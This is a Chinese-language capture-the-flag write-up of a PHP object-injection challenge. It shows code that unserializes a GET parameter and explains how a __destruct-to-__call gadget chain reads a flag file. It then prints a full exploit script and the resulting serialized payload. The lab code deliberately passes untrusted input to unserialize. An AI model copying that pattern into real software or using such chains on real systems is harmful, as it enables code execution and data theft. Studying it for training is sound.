<?php
class you {
private $body;
private $pro='';
function __destruct() {
$project=$this->pro;
$this->body->$project();
}
}
class my {
public $name;
function __call($func, $args) {
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);分析:对象执行类不存在的方法时会自动调用__call方法 ,这里我们要调用my类中的__call('yourname', $args)并且$this->name == 'myname'。
我们可以令you类中的$body=new my();,随便命名一个$pro='123',使得:
$project=$this->pro;
$project='123';
$this->body->$project(); # 调用my类中的123方法,显然不存在,则调用`__call`但是我们注意到还要$func == 'yourname'
而__call($func, $args)中的两个参数实际上:$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。
因此我们还要修改一下构造:
$project=$this->pro;
$project='yourname';
$this->body->$project(); # 调用my类中的yourname方法,显然不存在,则调用`__call`
# __call('yourname', $args)完整exp:
<?php
class you {
private $body;
private $pro='yourname';
function __construct() {
$this->body=new my();
}
function __destruct(){ }
}
class my {
public $name = 'myname';
function __call($func, $args) { }
}
$a = new you();
//echo serialize($a);
# O:3:"you":2:{s:9:" you body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:" you pro";s:8:"yourname";}
echo urlencode(serialize($a));这里注意我们要在you类中多写一个__construct()使得$this->body在you类被实例化的同时被赋值为my类的实例化对象,这样序列化字符中才会有my类的相关信息,不能写在__destruct()中,得到的序列化对象要被销毁的时候才会执行$this->body=new my();